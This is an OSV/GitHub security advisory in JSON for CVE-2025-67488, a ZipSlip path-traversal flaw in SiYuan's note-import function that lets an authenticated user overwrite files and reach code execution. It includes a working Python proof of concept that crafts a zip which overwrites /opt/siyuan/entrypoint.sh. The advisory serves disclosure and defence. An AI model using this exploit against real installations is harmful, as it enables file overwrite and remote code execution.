{"schema_version":"1.7.3","id":"GHSA-gqfv-g4v7-m366","published":"2025-12-09T17:18:04Z","modified":"2025-12-15T20:55:54.536369Z","aliases":["CVE-2025-67488","GO-2025-4221"],"summary":"SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE","details":"### Summary\nFunction [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190) is vulnerable to **ZipSlip** which allows an authenticated user to overwrite files on the system.\n\n### Details\nAn authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is  [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190), this can escalate to full code execution under some circumstances, for example using the official **docker image** it is possible to overwrite **entrypoint.sh** and after a container restart it will execute the changed code causing remote code execution.\n\n### PoC\nCode used to generate the ZipSlip:\n```python\n#!/usr/bin/env python3\nimport sys, base64, zipfile, io, time\n\ndef prepare_zipslip(filename):\n    orgfile1 = open('Test.md','rb').read()\n    payload =  open('entrypoint.sh','rb').read() #b\"testpayload\"\n    \n    zipslip = io.BytesIO()\n    with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:        \n        info = zipfile.ZipInfo('Test.md')\n        mtime = time.time()\n        t = time.localtime(mtime)\n        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)\n        zipf.writestr(info, orgfile1)\n        \n        info = zipfile.ZipInfo(filename)\n        mtime = time.time()\n        t = time.localtime(mtime)\n        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)\n        zipf.writestr(info, payload)\n    return zipslip.getvalue()\n\ngz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh')\nopen('exp.zip', 'wb').write(gz)\n```\n\n### Impact\nThe exploit is possible only if the attacker has access to **import** functionality. It's possible to achieve code execution and some persistence within the container","affected":[{"package":{"name":"github.com/siyuan-note/siyuan/kernel","ecosystem":"Go","purl":"pkg:golang/github.com/siyuan-note/siyuan/kernel"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"0.0.0-20251202123337-6ef83b42c7ce"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/12/GHSA-gqfv-g4v7-m366/GHSA-gqfv-g4v7-m366.json"}}],"references":[{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gqfv-g4v7-m366"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-67488"},{"type":"PACKAGE","url":"https://github.com/siyuan-note/siyuan"},{"type":"WEB","url":"https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190"}],"database_specific":{"cwe_ids":["CWE-22"],"github_reviewed":true,"github_reviewed_at":"2025-12-09T17:18:04Z","nvd_published_at":"2025-12-09T21:16:00Z","severity":"HIGH"},"severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"}]}